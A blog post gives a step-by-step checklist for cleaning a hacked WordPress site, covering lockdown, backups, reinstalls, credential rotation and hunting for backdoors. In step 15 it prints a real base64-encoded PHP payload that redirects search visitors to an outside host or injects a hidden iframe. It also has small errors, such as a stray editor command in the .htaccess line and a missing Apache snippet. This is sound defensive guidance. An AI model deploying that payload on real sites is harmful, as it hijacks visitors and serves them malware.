Fixing a hacked website

Here is the process I go through to fix a website that has been hacked.

0) If this is an ecommerce site, ask the website owner if they have a phone number customers can use to place orders. Later when we add an under maintenance page, we can give customers the option of calling in to make payments.

In your message to the customer, tell them you can add a message to the site while it’s being worked on, and ask then what they want that to say. If they have a phone number you would like to stick on there for them to call to place orders.

1) Add the following to the .htaccess file to only allow you to access the website.

order deny,allow
deny from all

For newer versions of Apache:

If the above doesn't work, you can also do:
RewriteCond %{HTTP_COOKIE} !^.*randomCookieName.*$
RewriteRule .* - [F,L]
ErrorDocument 403 /403.html:set mouse-=a

2) Backup the website. Without BackupBuddy you can perform the backup by running the commands ssh [email protected] “tar -zcf – ~/webapps/appName” > backup.tar.gz and ssh [email protected] “mysqldump -u username -p db_name > backup.sql”. Alternatively, you can use the ow backup command.

3) Remove the infected files

4) Contact Webfaction or whatever webhosting company is being used to have them re-enable the website.

5) Send all traffic to a new webapp that has a message about the site being down. If applicable add a phone number customers can use to make purchases over the phone. On this temporary website, check for any membership plugins, and disable them or prevent users from making changes on them that would affect the database. This prevents users from making changes that get lost when we send traffic back to the original website.

6) Edit your hosts file to still go to the actual site.

7) Make sure no unwanted processes are running on the server. SSH in and run the command ps -u username -o pid,commandto see processes for a specific user (eg the user you’re logged in as or www-data). You can also use the command ps -U root -u root -N -o pid,command to see processes for all non-root users, and then compare the results to a good server. Use the kill the_pid  command to remove any processes that do not belong. Then check the cron jobs with the command crontab -e. Also check the WP cron. This can be checked with the sucuri plugin under sucuri > settings > scanner > scheduled tasks. Alternatively, it can be checked with WP Crontrol under “tools” > “cron events”.

8) Perform updates. This is probably how the hacker got in.

9) Remove unneeded inactive plugins. An inactive plugin that hasn’t been updated for many years is a possible hacking vulnerability. Also remove inactive themes.

10) Download WordPress from Remove the wp-includes and wp-admin folder. Remove everything except for the wp-config.php and .htaccess files, the wp-content folder and .well-known folders, and anything that looks important that is not a part of the WordPress install. In the wp-content folder remove the cache folder if it exists, along with anything else that looks unnecessary or out of place. Upload the new WordPress files that where just downloaded from, if prompted, replace any files currently on the server.

11) Delete and re-upload any plugins, and possibly do this with this the theme if you can. You can do this quickly for the free plugins in the WordPress codex repository by downloading the sucuri security plugin and navigating to sucuri > settings > post hack > reset installed plugins. Make sure you set Sucuri’s alerts to go to your email address after installing the plugin (sucuri > settings ? alerts). Alternatively you can use either wp plugin install $(wp plugin list --field=name) --force --skip-plugins --skip-themes or probably better wp plugin install $(ls -1p wp-content/plugins | grep ‘/$’ | sed ‘s/\/$//’) –force

12) Install and configure iThemes Security Pro and WordFence.

13) Change the salts to logout anyone that could be logged into the website.

14) Remove any admin users that should not be there.

15) Check for suspicious looking files. We’re looking for files with a bunch of random text that has probably been base64 encoded. This is the hacker’s backdoor. He can visit a specific location on the website to evaluate this code which is full of tools that allow him to easily perform malicious actions. Below are some ways of finding potentially hacked files.

SSH in, cd into the webapp, and make sure there are no non-media files in the uploads directory by running the command grep -rcw "" --exclude=*.{jpg,jpeg,png,gif,mov,mp3,mp4,pdf,doc,xdoc,csv,xsl,sql} ./wp-content/uploads (backupbuddy adds a lot of sql files in there, so that’s why we’re also ignoring SQL files).

Find all files that have been modified within 24 hours with the command find -mtime -1 -printf ‘%Tc %p\n’ mtime specifies the number of days, so you would use -mtime -3 if you wanted to check the last three days.

       Check uses of eval with the command grep -ro “eval” –exclude=”*.sql”. Or use the gotmls plugin in step 11 to check for suspicous eval statements.

Check the md5 checksums of WordPress core files via wp-cli with the command ow wp-cli "core verify-checksums --version=4.8.2". See this link for more info.

Example of malicious code

eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHRydW09aGVhZGVyc19zZW50KCk7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWE9JF9TRVJWRVJbJ0h UVFBfVVNFUl9BR0VOVCddOw0KaWYgKHN0cmlzdHIoJHVhLCJtc2llIikpew0KaWYgKCEkdHJ1bSl7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJ pc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGV hZGVyKCJMb2NhdGlvbjogaHR0cDovL2FsYXBvdHJlbW5iYS5vc2EucGwvcmlmLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCn1lbHNlIHsNCmVjaG8gIjxpZnJhbWUgc3JjPSdodHRwOi8vcnRqaHRleWp0eWp0eWoub3JnZS5 wbC9tZG0vJyBmcmFtZWJvcmRlcj0wIGhlaWdodD0xIHdpZHRoPTEgc2Nyb2xsaW5nPW5vPjwvaWZyYW1lPiI7DQp9DQoJfQ==”));

16) Change all passwords and remove all ssh keys with the command rm $HOME/.ssh/authorized_keys

17) Perform some website malware scans and make sure everything looks clean. The plugin “Anti-Malware from GOTMLS.NET” is a good malware scanner (make sure you register for an API key before scanning otherwise the scan will do nothing). For additional coverage, you can also check Wordfence’s malware scanner.

18) Remove the bit we added to .htaccess to prevent anyone else from viewing the website. If anything looks wrong, restore the .htaccess file back to the default one.

19) Send website traffic back to the webapp.

20) Ask Webfaction or whoever the webhost is to rescan the site and verify that the site is coming up clean

21) It’s not worth your time, but If you would like to try to figure out how the site was hacked into, you can look for anything suspicious in the log files. On a Webfaction server these are located at

  • ~/.bash_history has a history of all of the commands entered over interactive ssh sessions
  • ~/logs/user has the MySql error logs. This folder is often empty
  • ~/logs/frontend has the apache access logs and the php error logs

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.